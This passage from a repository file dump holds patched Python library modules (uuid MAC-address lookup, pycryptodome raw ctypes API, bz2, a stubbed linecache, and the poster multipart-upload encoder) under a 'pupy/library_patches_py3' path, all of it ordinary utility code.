POINTER(struct_sockaddr)),\n        ('ifa_netmask', POINTER(struct_sockaddr)),\n        ('ifa_ifu', union_ifa_ifu),\n        ('ifa_data', c_void_p),]\n\n    self_c = CDLL('')\n\n    def ifap_iter(ifap):\n        ifa = ifap.contents\n        while True:\n            yield ifa\n            if not ifa.ifa_next:\n                break\n            ifa = ifa.ifa_next.contents\n\n    def getfamaddr(sa):\n        family = sa.sa_family\n        addr = None\n        if family == AF_INET:\n            sa = cast(pointer(sa), POINTER(struct_sockaddr_in)).contents\n            addr = inet_ntop(family, sa.sin_addr)\n        elif family == AF_INET6:\n            sa = cast(pointer(sa), POINTER(struct_sockaddr_in6)).contents\n            addr = inet_ntop(family, sa.sin6_addr)\n        return family, addr\n\n    class NetworkInterface(object):\n        def __init__(self, name):\n            self.name = name\n            self.addresses = {}\n\n        def __str__(self):\n            return \"%s [IPv4=%s, IPv6=%s]\" % (\n                self.name, self.addresses.get(AF_INET),\n                self.addresses.get(AF_INET6))\n\n    def get_network_interfaces():\n        ifap = POINTER(struct_ifaddrs)()\n        result = self_c.getifaddrs(pointer(ifap))\n        if result != 0:\n            raise OSError(get_errno())\n\n        del result\n\n        try:\n            retval = {}\n            for ifa in ifap_iter(ifap):\n                name = ifa.ifa_name.decode(\"UTF-8\")\n                i = retval.get(name)\n                if not i:\n                    i = retval[name] = NetworkInterface(name)\n                family, addr = getfamaddr(ifa.ifa_addr.contents)\n                if addr:\n                    if family not in i.addresses:\n                        i.addresses[family] = list()\n                    i.addresses[family].append(addr)\n\n            return retval.values()\n\n        finally:\n            self_c.freeifaddrs(ifap)\n\n    s = socket(AF_INET, SOCK_DGRAM)\n    try:\n        s.connect(('8.8.8.8', 53))\n        src_ip = s.getsockname()[0]\n\n        interface_name = None\n\n        for interface in get_network_interfaces():\n            for addresses in interface.addresses.values():\n                if src_ip in addresses:\n                    interface_name = interface.name\n                    break\n\n        if interface_name is not None:\n            input_buffer = struct.pack('256s', str(interface_name))\n            output_buffer = fcntl.ioctl(s.fileno(), 0x8927, input_buffer)\n            ether_addr = ''\n\n            for c in output_buffer[18:24]:\n                ether_addr = ether_addr + format(ord(c), '02X')\n\n            return int(ether_addr, 16)\n\n    finally:\n        s.close()\n\n\ndef _random_getnode():\n    \"\"\"Get a random node ID, with eighth bit set as suggested by RFC 4122.\"\"\"\n    import random\n    return random.randrange(0, 1<<48) | 0x010000000000\n\n_node = None\n\ndef getnode():\n    \"\"\"Get the hardware address as a 48-bit positive integer.\n\n    The first time this runs, it may launch a separate program, which could\n    be quite slow.  If all attempts to obtain the hardware address fail, we\n    choose a random 48-bit number with its eighth bit set to 1 as recommended\n    in RFC 4122.\n    \"\"\"\n\n    global _node\n    if _node is not None:\n        return _node\n\n    import sys\n    if sys.platform == 'win32':\n        getters = [_windll_getnode, _netbios_getnode, _ipconfig_getnode]\n    else:\n        getters = [\n            _sysfs_getnode, _netiface_getnode, _unixdll_getnode,\n            _ifconfig_getnode, _arp_getnode,\n            _lanscan_getnode, _netstat_getnode\n        ]\n\n    for getter in getters + [_random_getnode]:\n        try:\n            _node = getter()\n        except:\n            continue\n        if _node is not None:\n            return _node\n\n_last_timestamp = None\n\ndef uuid1(node=None, clock_seq=None):\n    \"\"\"Generate a UUID from a host ID, sequence number, and the current time.\n    If 'node' is not given, getnode() is used to obtain the hardware\n    address.  If 'clock_seq' is given, it is used as the sequence number;\n    otherwise a random 14-bit sequence number is chosen.\"\"\"\n\n    # When the system provides a version-1 UUID generator, use it (but don't\n    # use UuidCreate here because its UUIDs don't conform to RFC 4122).\n    if _uuid_generate_time and node is clock_seq is None:\n        _buffer = ctypes.create_string_buffer(16)\n        _uuid_generate_time(_buffer)\n        return UUID(bytes=_buffer.raw)\n\n    global _last_timestamp\n    import time\n    nanoseconds = int(time.time() * 1e9)\n    # 0x01b21dd213814000 is the number of 100-ns intervals between the\n    # UUID epoch 1582-10-15 00:00:00 and the Unix epoch 1970-01-01 00:00:00.\n    timestamp = int(nanoseconds//100) + 0x01b21dd213814000\n    if _last_timestamp is not None and timestamp <= _last_timestamp:\n        timestamp = _last_timestamp + 1\n    _last_timestamp = timestamp\n    if clock_seq is None:\n        import random\n        clock_seq = random.randrange(1<<14) # instead of stable storage\n    time_low = timestamp & 0xffffffff\n    time_mid = (timestamp >> 32) & 0xffff\n    time_hi_version = (timestamp >> 48) & 0x0fff\n    clock_seq_low = clock_seq & 0xff\n    clock_seq_hi_variant = (clock_seq >> 8) & 0x3f\n    if node is None:\n        node = getnode()\n    return UUID(fields=(time_low, time_mid, time_hi_version,\n                        clock_seq_hi_variant, clock_seq_low, node), version=1)\n\ndef uuid3(namespace, name):\n    \"\"\"Generate a UUID from the MD5 hash of a namespace UUID and a name.\"\"\"\n    from hashlib import md5\n    hash = md5(namespace.bytes + name).digest()\n    return UUID(bytes=hash[:16], version=3)\n\ndef uuid4():\n    \"\"\"Generate a random UUID.\"\"\"\n\n    # When the system provides a version-4 UUID generator, use it.\n    if _uuid_generate_random:\n        _buffer = ctypes.create_string_buffer(16)\n        _uuid_generate_random(_buffer)\n        return UUID(bytes=_buffer.raw)\n\n    # Otherwise, get randomness from urandom or the 'random' module.\n    try:\n        import os\n        return UUID(bytes=os.urandom(16), version=4)\n    except:\n        import random\n        bytes = [chr(random.randrange(256)) for i in range(16)]\n        return UUID(bytes=bytes, version=4)\n\ndef uuid5(namespace, name):\n    \"\"\"Generate a UUID from the SHA-1 hash of a namespace UUID and a name.\"\"\"\n    from hashlib import sha1\n    hash = sha1(namespace.bytes + name).digest()\n    return UUID(bytes=hash[:16], version=5)\n\n# The following standard UUIDs are for use with uuid3() or uuid5().\n\nNAMESPACE_DNS = UUID('6ba7b810-9dad-11d1-80b4-00c04fd430c8')\nNAMESPACE_URL = UUID('6ba7b811-9dad-11d1-80b4-00c04fd430c8')\nNAMESPACE_OID = UUID('6ba7b812-9dad-11d1-80b4-00c04fd430c8')\nNAMESPACE_X500 = UUID('6ba7b814-9dad-11d1-80b4-00c04fd430c8')\n"
  },
  {
    "path": "pupy/library_patches_py3/Crypto/Util/_raw_api.py",
    "content": "# ===================================================================\n#\n# Copyright (c) 2014, Legrandin <helderijs@gmail.com>\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n#    notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n#    notice, this list of conditions and the following disclaimer in\n#    the documentation and/or other materials provided with the\n#    distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n# ===================================================================\n\nimport abc\nimport sys\n\nimport ctypes\nfrom ctypes import (CDLL, c_void_p, byref, c_ulong, c_ulonglong, c_size_t,\n                    create_string_buffer, c_ubyte, c_uint)\nfrom ctypes.util import find_library\nfrom ctypes import Array as _Array\n\nfrom Crypto.Util.py3compat import byte_string\nfrom Crypto.Util._file_system import pycryptodome_filename\n\n#\n# List of file suffixes for Python extensions\n#\nif sys.version_info[0] < 3:\n\n    import imp\n    extension_suffixes = []\n    for ext, mod, typ in imp.get_suffixes():\n        if typ == imp.C_EXTENSION:\n            extension_suffixes.append(ext)\n\nelse:\n\n    from importlib import machinery\n    extension_suffixes = machinery.EXTENSION_SUFFIXES\n\n# Which types with buffer interface we support (apart from byte strings)\nif sys.version_info[0] == 2 and sys.version_info[1] < 7:\n    _buffer_type = (bytearray)\nelse:\n    _buffer_type = (bytearray, memoryview)\n\n\nnull_pointer = None\n\n\nclass _VoidPointer(object):\n    @abc.abstractmethod\n    def get(self):\n        \"\"\"Return the memory location we point to\"\"\"\n        return\n\n    @abc.abstractmethod\n    def address_of(self):\n        \"\"\"Return a raw pointer to this pointer\"\"\"\n        return\n\n\ndef load_lib(name, cdecl):\n    import platform\n    bits, linkage = platform.architecture()\n    if \".\" not in name and not linkage.startswith(\"Win\"):\n        full_name = find_library(name)\n        if full_name is None:\n            raise OSError(\"Cannot load library '%s'\" % name)\n        name = full_name\n    return CDLL(name)\n\n\ndef get_c_string(c_string):\n    return c_string.value\n\ndef get_raw_buffer(buf):\n    return buf.raw\n\n# ---- Get raw pointer ---\n\nif sys.version_info[0] == 2 and sys.version_info[1] == 6:\n    # ctypes in 2.6 does not define c_ssize_t. Replacing it\n    # with c_size_t keeps the structure correctely laid out\n    _c_ssize_t = c_size_t\nelse:\n    _c_ssize_t = ctypes.c_ssize_t\n\n_PyBUF_SIMPLE = 0\n_PyObject_GetBuffer = ctypes.pythonapi.PyObject_GetBuffer\n_PyBuffer_Release = ctypes.pythonapi.PyBuffer_Release\n_py_object = ctypes.py_object\n_c_ssize_p = ctypes.POINTER(_c_ssize_t)\n\n\n# See Include/object.h for CPython\n# and https://github.com/pallets/click/blob/master/click/_winconsole.py\nclass _Py_buffer(ctypes.Structure):\n    _fields_ = [\n        ('buf',         c_void_p),\n        ('obj',         ctypes.py_object),\n        ('len',         _c_ssize_t),\n        ('itemsize',    _c_ssize_t),\n        ('readonly',    ctypes.c_int),\n        ('ndim',        ctypes.c_int),\n        ('format',      ctypes.c_char_p),\n        ('shape',       _c_ssize_p),\n        ('strides',     _c_ssize_p),\n        ('suboffsets',  _c_ssize_p),\n        ('internal',    c_void_p)\n    ]\n\n    # Extra field for CPython 2.6/2.7\n    if sys.version_info[0] == 2:\n        _fields_.insert(-1, ('smalltable', _c_ssize_t * 2))\n\ndef c_uint8_ptr(data):\n    if byte_string(data) or isinstance(data, _Array):\n        return data\n    elif isinstance(data, _buffer_type):\n        obj = _py_object(data)\n        buf = _Py_buffer()\n        _PyObject_GetBuffer(obj, byref(buf), _PyBUF_SIMPLE)\n        try:\n            buffer_type = c_ubyte * buf.len\n            return buffer_type.from_address(buf.buf)\n        finally:\n            _PyBuffer_Release(byref(buf))\n    else:\n        raise TypeError(\"Object type %s cannot be passed to C code\" % type(data))\n\n# ---\n\n\nclass VoidPointer_ctypes(_VoidPointer):\n    \"\"\"Model a newly allocated pointer to void\"\"\"\n\n    def __init__(self):\n        self._p = c_void_p()\n\n    def get(self):\n        return self._p\n\n    def address_of(self):\n        return byref(self._p)\n\ndef VoidPointer():\n    return VoidPointer_ctypes()\n\nbackend = \"ctypes\"\ndel ctypes\n\n\nclass SmartPointer(object):\n    \"\"\"Class to hold a non-managed piece of memory\"\"\"\n\n    def __init__(self, raw_pointer, destructor):\n        self._raw_pointer = raw_pointer\n        self._destructor = destructor\n\n    def get(self):\n        return self._raw_pointer\n\n    def release(self):\n        rp, self._raw_pointer = self._raw_pointer, None\n        return rp\n\n    def __del__(self):\n        try:\n            if self._raw_pointer is not None:\n                self._destructor(self._raw_pointer)\n                self._raw_pointer = None\n        except AttributeError:\n            pass\n\n\ndef load_pycryptodome_raw_lib(name, cdecl):\n    \"\"\"Load a shared library and return a handle to it.\n\n    @name,  the name of the library expressed as a PyCryptodome module,\n            for instance Crypto.Cipher._raw_cbc.\n\n    @cdecl, the C function declarations.\n    \"\"\"\n\n    split = name.split(\".\")\n    dir_comps, basename = split[:-1], split[-1]\n    attempts = []\n    for ext in extension_suffixes:\n        try:\n            filename = basename + ext\n            return load_lib(pycryptodome_filename(dir_comps, filename),\n                            cdecl)\n        except OSError as exp:\n            attempts.append(\"Trying '%s': %s\" % (filename, str(exp)))\n    raise OSError(\"Cannot load native module '%s': %s\" % (name, \", \".join(attempts)))\n\n\nif sys.version_info[:2] != (2, 6):\n\n    def is_buffer(x):\n        \"\"\"Return True if object x supports the buffer interface\"\"\"\n        return isinstance(x, (bytes, bytearray, memoryview))\n\n    def is_writeable_buffer(x):\n        return (isinstance(x, bytearray) or\n                (isinstance(x, memoryview) and not x.readonly))\n\nelse:\n\n    def is_buffer(x):\n        return isinstance(x, (bytes, bytearray))\n\n    def is_writeable_buffer(x):\n        return isinstance(x, bytearray)\n"
  },
  {
    "path": "pupy/library_patches_py3/bz2.py",
    "content": "\"\"\"Interface to the libbzip2 compression library.\n\nThis module provides a file interface, classes for incremental\n(de)compression, and functions for one-shot (de)compression.\n\"\"\"\n\n__all__ = [\"BZ2File\", \"BZ2Compressor\", \"BZ2Decompressor\",\n           \"open\", \"compress\", \"decompress\"]\n\n__author__ = \"Nadeem Vawda <nadeem.vawda@gmail.com>\"\n\nimport sys\n_builtin_open=None\nimport io\nimport os\nimport _compression\n\nfrom _bz2 import BZ2Compressor, BZ2Decompressor\n\n\n_MODE_CLOSED   = 0\n_MODE_READ     = 1\n# Value 2 no longer used\n_MODE_WRITE    = 3\n\n\nclass BZ2File(_compression.BaseStream):\n\n    \"\"\"A file object providing transparent bzip2 (de)compression.\n\n    A BZ2File can act as a wrapper for an existing file object, or refer\n    directly to a named file on disk.\n\n    Note that BZ2File provides a *binary* file interface - data read is\n    returned as bytes, and data to be written should be given as bytes.\n    \"\"\"\n\n    def __init__(self, filename, mode=\"r\", *, compresslevel=9):\n        \"\"\"Open a bzip2-compressed file.\n\n        If filename is a str, bytes, or PathLike object, it gives the\n        name of the file to be opened. Otherwise, it should be a file\n        object, which will be used to read or write the compressed data.\n\n        mode can be 'r' for reading (default), 'w' for (over)writing,\n        'x' for creating exclusively, or 'a' for appending. These can\n        equivalently be given as 'rb', 'wb', 'xb', and 'ab'.\n\n        If mode is 'w', 'x' or 'a', compresslevel can be a number between 1\n        and 9 specifying the level of compression: 1 produces the least\n        compression, and 9 (default) produces the most compression.\n\n        If mode is 'r', the input file may be the concatenation of\n        multiple compressed streams.\n        \"\"\"\n        self._fp = None\n        self._closefp = False\n        self._mode = _MODE_CLOSED\n\n        if not (1 <= compresslevel <= 9):\n            raise ValueError(\"compresslevel must be between 1 and 9\")\n\n        if mode in (\"\", \"r\", \"rb\"):\n            mode = \"rb\"\n            mode_code = _MODE_READ\n        elif mode in (\"w\", \"wb\"):\n            mode = \"wb\"\n            mode_code = _MODE_WRITE\n            self._compressor = BZ2Compressor(compresslevel)\n        elif mode in (\"x\", \"xb\"):\n            mode = \"xb\"\n            mode_code = _MODE_WRITE\n            self._compressor = BZ2Compressor(compresslevel)\n        elif mode in (\"a\", \"ab\"):\n            mode = \"ab\"\n            mode_code = _MODE_WRITE\n            self._compressor = BZ2Compressor(compresslevel)\n        else:\n            raise ValueError(\"Invalid mode: %r\" % (mode,))\n\n        if isinstance(filename, (str, bytes, os.PathLike)):\n            if _builtin_open == None:\n                import builtins\n                _builtin_open=builtins.open\n            self._fp = _builtin_open(filename, mode)\n            self._closefp = True\n            self._mode = mode_code\n        elif hasattr(filename, \"read\") or hasattr(filename, \"write\"):\n            self._fp = filename\n            self._mode = mode_code\n        else:\n            raise TypeError(\"filename must be a str, bytes, file or PathLike object\")\n\n        if self._mode == _MODE_READ:\n            raw = _compression.DecompressReader(self._fp,\n                BZ2Decompressor, trailing_error=OSError)\n            self._buffer = io.BufferedReader(raw)\n        else:\n            self._pos = 0\n\n    def close(self):\n        \"\"\"Flush and close the file.\n\n        May be called more than once without error. Once the file is\n        closed, any other operation on it will raise a ValueError.\n        \"\"\"\n        if self._mode == _MODE_CLOSED:\n            return\n        try:\n            if self._mode == _MODE_READ:\n                self._buffer.close()\n            elif self._mode == _MODE_WRITE:\n                self._fp.write(self._compressor.flush())\n                self._compressor = None\n        finally:\n            try:\n                if self._closefp:\n                    self._fp.close()\n            finally:\n                self._fp = None\n                self._closefp = False\n                self._mode = _MODE_CLOSED\n                self._buffer = None\n\n    @property\n    def closed(self):\n        \"\"\"True if this file is closed.\"\"\"\n        return self._mode == _MODE_CLOSED\n\n    def fileno(self):\n        \"\"\"Return the file descriptor for the underlying file.\"\"\"\n        self._check_not_closed()\n        return self._fp.fileno()\n\n    def seekable(self):\n        \"\"\"Return whether the file supports seeking.\"\"\"\n        return self.readable() and self._buffer.seekable()\n\n    def readable(self):\n        \"\"\"Return whether the file was opened for reading.\"\"\"\n        self._check_not_closed()\n        return self._mode == _MODE_READ\n\n    def writable(self):\n        \"\"\"Return whether the file was opened for writing.\"\"\"\n        self._check_not_closed()\n        return self._mode == _MODE_WRITE\n\n    def peek(self, n=0):\n        \"\"\"Return buffered data without advancing the file position.\n\n        Always returns at least one byte of data, unless at EOF.\n        The exact number of bytes returned is unspecified.\n        \"\"\"\n        self._check_can_read()\n        # Relies on the undocumented fact that BufferedReader.peek()\n        # always returns at least one byte (except at EOF), independent\n        # of the value of n\n        return self._buffer.peek(n)\n\n    def read(self, size=-1):\n        \"\"\"Read up to size uncompressed bytes from the file.\n\n        If size is negative or omitted, read until EOF is reached.\n        Returns b'' if the file is already at EOF.\n        \"\"\"\n        self._check_can_read()\n        return self._buffer.read(size)\n\n    def read1(self, size=-1):\n        \"\"\"Read up to size uncompressed bytes, while trying to avoid\n        making multiple reads from the underlying stream. Reads up to a\n        buffer's worth of data if size is negative.\n\n        Returns b'' if the file is at EOF.\n        \"\"\"\n        self._check_can_read()\n        if size < 0:\n            size = io.DEFAULT_BUFFER_SIZE\n        return self._buffer.read1(size)\n\n    def readinto(self, b):\n        \"\"\"Read bytes into b.\n\n        Returns the number of bytes read (0 for EOF).\n        \"\"\"\n        self._check_can_read()\n        return self._buffer.readinto(b)\n\n    def readline(self, size=-1):\n        \"\"\"Read a line of uncompressed bytes from the file.\n\n        The terminating newline (if present) is retained. If size is\n        non-negative, no more than size bytes will be read (in which\n        case the line may be incomplete). Returns b'' if already at EOF.\n        \"\"\"\n        if not isinstance(size, int):\n            if not hasattr(size, \"__index__\"):\n                raise TypeError(\"Integer argument expected\")\n            size = size.__index__()\n        self._check_can_read()\n        return self._buffer.readline(size)\n\n    def readlines(self, size=-1):\n        \"\"\"Read a list of lines of uncompressed bytes from the file.\n\n        size can be specified to control the number of lines read: no\n        further lines will be read once the total size of the lines read\n        so far equals or exceeds size.\n        \"\"\"\n        if not isinstance(size, int):\n            if not hasattr(size, \"__index__\"):\n                raise TypeError(\"Integer argument expected\")\n            size = size.__index__()\n        self._check_can_read()\n        return self._buffer.readlines(size)\n\n    def write(self, data):\n        \"\"\"Write a byte string to the file.\n\n        Returns the number of uncompressed bytes written, which is\n        always the length of data in bytes. Note that due to buffering,\n        the file on disk may not reflect the data written until close()\n        is called.\n        \"\"\"\n        self._check_can_write()\n        if isinstance(data, (bytes, bytearray)):\n            length = len(data)\n        else:\n            # accept any data that supports the buffer protocol\n            data = memoryview(data)\n            length = data.nbytes\n\n        compressed = self._compressor.compress(data)\n        self._fp.write(compressed)\n        self._pos += length\n        return length\n\n    def writelines(self, seq):\n        \"\"\"Write a sequence of byte strings to the file.\n\n        Returns the number of uncompressed bytes written.\n        seq can be any iterable yielding byte strings.\n\n        Line separators are not added between the written byte strings.\n        \"\"\"\n        return _compression.BaseStream.writelines(self, seq)\n\n    def seek(self, offset, whence=io.SEEK_SET):\n        \"\"\"Change the file position.\n\n        The new position is specified by offset, relative to the\n        position indicated by whence. Values for whence are:\n\n            0: start of stream (default); offset must not be negative\n            1: current stream position\n            2: end of stream; offset must not be positive\n\n        Returns the new file position.\n\n        Note that seeking is emulated, so depending on the parameters,\n        this operation may be extremely slow.\n        \"\"\"\n        self._check_can_seek()\n        return self._buffer.seek(offset, whence)\n\n    def tell(self):\n        \"\"\"Return the current file position.\"\"\"\n        self._check_not_closed()\n        if self._mode == _MODE_READ:\n            return self._buffer.tell()\n        return self._pos\n\n\ndef open(filename, mode=\"rb\", compresslevel=9,\n         encoding=None, errors=None, newline=None):\n    \"\"\"Open a bzip2-compressed file in binary or text mode.\n\n    The filename argument can be an actual filename (a str, bytes, or\n    PathLike object), or an existing file object to read from or write\n    to.\n\n    The mode argument can be \"r\", \"rb\", \"w\", \"wb\", \"x\", \"xb\", \"a\" or\n    \"ab\" for binary mode, or \"rt\", \"wt\", \"xt\" or \"at\" for text mode.\n    The default mode is \"rb\", and the default compresslevel is 9.\n\n    For binary mode, this function is equivalent to the BZ2File\n    constructor: BZ2File(filename, mode, compresslevel). In this case,\n    the encoding, errors and newline arguments must not be provided.\n\n    For text mode, a BZ2File object is created, and wrapped in an\n    io.TextIOWrapper instance with the specified encoding, error\n    handling behavior, and line ending(s).\n\n    \"\"\"\n    if \"t\" in mode:\n        if \"b\" in mode:\n            raise ValueError(\"Invalid mode: %r\" % (mode,))\n    else:\n        if encoding is not None:\n            raise ValueError(\"Argument 'encoding' not supported in binary mode\")\n        if errors is not None:\n            raise ValueError(\"Argument 'errors' not supported in binary mode\")\n        if newline is not None:\n            raise ValueError(\"Argument 'newline' not supported in binary mode\")\n\n    bz_mode = mode.replace(\"t\", \"\")\n    binary_file = BZ2File(filename, bz_mode, compresslevel=compresslevel)\n\n    if \"t\" in mode:\n        encoding = io.text_encoding(encoding)\n        return io.TextIOWrapper(binary_file, encoding, errors, newline)\n    else:\n        return binary_file\n\n\ndef compress(data, compresslevel=9):\n    \"\"\"Compress a block of data.\n\n    compresslevel, if given, must be a number between 1 and 9.\n\n    For incremental compression, use a BZ2Compressor object instead.\n    \"\"\"\n    comp = BZ2Compressor(compresslevel)\n    return comp.compress(data) + comp.flush()\n\n\ndef decompress(data):\n    \"\"\"Decompress a block of data.\n\n    For incremental decompression, use a BZ2Decompressor object instead.\n    \"\"\"\n    results = []\n    while data:\n        decomp = BZ2Decompressor()\n        try:\n            res = decomp.decompress(data)\n        except OSError:\n            if results:\n                break  # Leftover data is not a valid bzip2 stream; ignore it.\n            else:\n                raise  # Error on the first iteration; bail out.\n        results.append(res)\n        if not decomp.eof:\n            raise ValueError(\"Compressed data ended before the \"\n                             \"end-of-stream marker was reached\")\n        data = decomp.unused_data\n    return b\"\".join(results)\n"
  },
  {
    "path": "pupy/library_patches_py3/linecache.py",
    "content": "__all__ = [\"getline\", \"clearcache\", \"checkcache\", \"lazycache\"]\n\ndef getline(filename, lineno, module_globals=None):\n    return ''\n\n\ndef clearcache():\n    pass\n\n\ndef getlines(filename, module_globals=None):\n    return []\n\ndef getline(filename, lineno, module_globals=None):\n    return ''\n\n\ndef checkcache(filename=None):\n    pass\n\n\ndef updatecache(filename, module_globals=None):\n    pass\n\ndef lazycache(filename, module_globals):\n    return False\n"
  },
  {
    "path": "pupy/library_patches_py3/poster/__init__.py",
    "content": "# Copyright (c) 2011 Chris AtLee\n# \n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n# \n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\"\"\"poster module\n\nSupport for streaming HTTP uploads, and multipart/form-data encoding\n\n```poster.version``` is a 3-tuple of integers representing the version number.\nNew releases of poster will always have a version number that compares greater\nthan an older version of poster.\nNew in version 0.6.\"\"\"\n\nimport poster.streaminghttp\nimport poster.encode\n\nversion = (0, 8, 2) # Thanks JP!\n"
  },
  {
    "path": "pupy/library_patches_py3/poster/encode.py",
    "content": "\"\"\"multipart/form-data encoding module\n\nThis module provides functions that faciliate encoding name/value pairs\nas multipart/form-data suitable for a HTTP POST or PUT request.\n\nmultipart/form-data is the standard way to upload files over HTTP\"\"\"\n\n__all__ = ['gen_boundary', 'encode_and_quote', 'MultipartParam',\n        'encode_string', 'encode_file_header', 'get_body_size', 'get_headers',\n        'multipart_encode']\n\ntry:\n    import uuid\n    def gen_boundary():\n        \"\"\"Returns a random string to use as the boundary for a message\"\"\"\n        return uuid.uuid4().hex\nexcept ImportError:\n    import random, sha\n    def gen_boundary():\n        \"\"\"Returns a random string to use as the boundary for a message\"\"\"\n        bits = random.getrandbits(160)\n        return sha.new(str(bits)).hexdigest()\n\nimport sys\nimport urllib\nimport re\nimport os\nimport mimetypes\n\nfrom email.header import Header\n\nif sys.version_info.major > 2:\n    unicode = str\n\n\ndef encode_and_quote(data):\n    \"\"\"If ``data`` is unicode, return urllib.quote_plus(data.encode(\"utf-8\"))\n    otherwise return urllib.quote_plus(data)\"\"\"\n    if data is None:\n        return None\n\n    if isinstance(data, unicode):\n        data = data.encode(\"utf-8\")\n    return urllib.quote_plus(data)\n\ndef _strify(s):\n    \"\"\"If s is a unicode string, encode it to UTF-8 and return the results,\n    otherwise return str(s), or None if s is None\"\"\"\n    if s is None:\n        return None\n    if isinstance(s, unicode):\n        return s.encode(\"utf-8\")\n    return str(s)\n\nclass MultipartParam(object):\n    \"\"\"Represents a single parameter in a multipart/form-data request\n\n    ``name`` is the name of this parameter.\n\n    If ``value`` is set, it must be a string or unicode object to use as the\n    data for this parameter.\n\n    If ``filename`` is set, it is what to say that this parameter's filename\n    is.  Note that this does not have to be the actual filename any local file.\n\n    If ``filetype`` is set, it is used as the Content-Type for this parameter.\n    If unset it defaults to \"text/plain; charset=utf8\"\n\n    If ``filesize`` is set, it specifies the length of the file ``fileobj``\n\n    If ``fileobj`` is set, it must be a file-like object that supports\n    .read().\n\n    Both ``value`` and ``fileobj`` must not be set, doing so will\n    raise a ValueError assertion.\n\n    If ``fileobj`` is set, and ``filesize`` is not specified, then\n    the file's size will be determined first by stat'ing ``fileobj``'s\n    file descriptor, and if that fails, by seeking to the end of the file,\n    recording the current position as the size, and then by seeking back to the\n    beginning of the file.\n\n    ``cb`` is a callable which will be called from iter_encode with (self,\n    current, total), representing the current parameter, current amount\n    transferred, and the total size.\n    \"\"\"\n    def __init__(self, name, value=None, filename=None, filetype=None,\n                        filesize=None, fileobj=None, cb=None):\n        self.name = Header(name).encode()\n        self.value = _strify(value)\n        if filename is None:\n            self.filename = None\n        else:\n            if isinstance(filename, unicode):\n                # Encode with XML entities\n                self.filename = filename.encode(\"ascii\", \"xmlcharrefreplace\")\n            else:\n                self.filename = str(filename)\n            self.filename = self.filename.encode(\"string_escape\").\\\n                    replace('\"', '\\\\\"')\n        self.filetype = _strify(filetype)\n\n        self.filesize = filesize\n        self.fileobj = fileobj\n        self.cb = cb\n\n        if self.value is not None and self.fileobj is not None:\n            raise ValueError(\"Only one of value or fileobj may be specified\")\n\n        if fileobj is not None and filesize is None:\n            # Try and determine the file size\n            try:\n                self.filesize = os.fstat(fileobj.fileno()).st_size\n            except (OSError, AttributeError):\n                try:\n                    fileobj.seek(0, 2)\n                    self.filesize = fileobj.tell()\n                    fileobj.seek(0)\n                except:\n                    raise ValueError(\"Could not determine filesize\")\n\n    def __cmp__(self, other):\n        attrs = ['name', 'value', 'filename', 'filetype', 'filesize', 'fileobj']\n        myattrs = [getattr(self, a) for a in attrs]\n        oattrs = [getattr(other, a) for a in attrs]\n        return cmp(myattrs, oattrs)\n\n    def reset(self):\n        if self.fileobj is not None:\n            self.fileobj.seek(0)\n        elif self.value is None:\n            raise ValueError(\"Don't know how to reset this parameter\")\n\n    @classmethod\n    def from_file(cls, paramname, filename):\n        \"\"\"Returns a new MultipartParam object constructed from the local\n        file at ``filename``.\n\n        ``filesize`` is determined by os.path.getsize(``filename``)\n\n        ``filetype`` is determined by mimetypes.guess_type(``filename``)[0]\n\n        ``filename`` is set to os.path.basename(``filename``)\n        \"\"\"\n\n        return cls(paramname, filename=os.path.basename(filename),\n                filetype=mimetypes.guess_type(filename)[0],\n                filesize=os.path.getsize(filename),\n                fileobj=open(filename, \"rb\"))\n\n    @classmethod\n    def from_params(cls, params):\n        \"\"\"Returns a list of MultipartParam objects from a sequence of\n        name, value pairs, MultipartParam instances,\n        or from a mapping of names to values\n\n        The values may be strings or file objects, or MultipartParam objects.\n        MultipartParam object names must match the given names in the\n        name,value pairs or mapping, if applicable.\"\"\"\n        if hasattr(params, 'items'):\n            params = params.items()\n\n        retval = []\n        for item in params:\n            if isinstance(item, cls):\n                retval.append(item)\n                continue\n            name, value = item\n            if isinstance(value, cls):\n                assert value.name == name\n                retval.append(value)\n                continue\n            if hasattr(value, 'read'):\n                # Looks like a file object\n                filename = getattr(value, 'name', None)\n                if filename is not None:\n                    filetype = mimetypes.guess_type(filename)[0]\n                else:\n                    filetype = None\n\n                retval.append(cls(name=name, filename=filename,\n                    filetype=filetype, 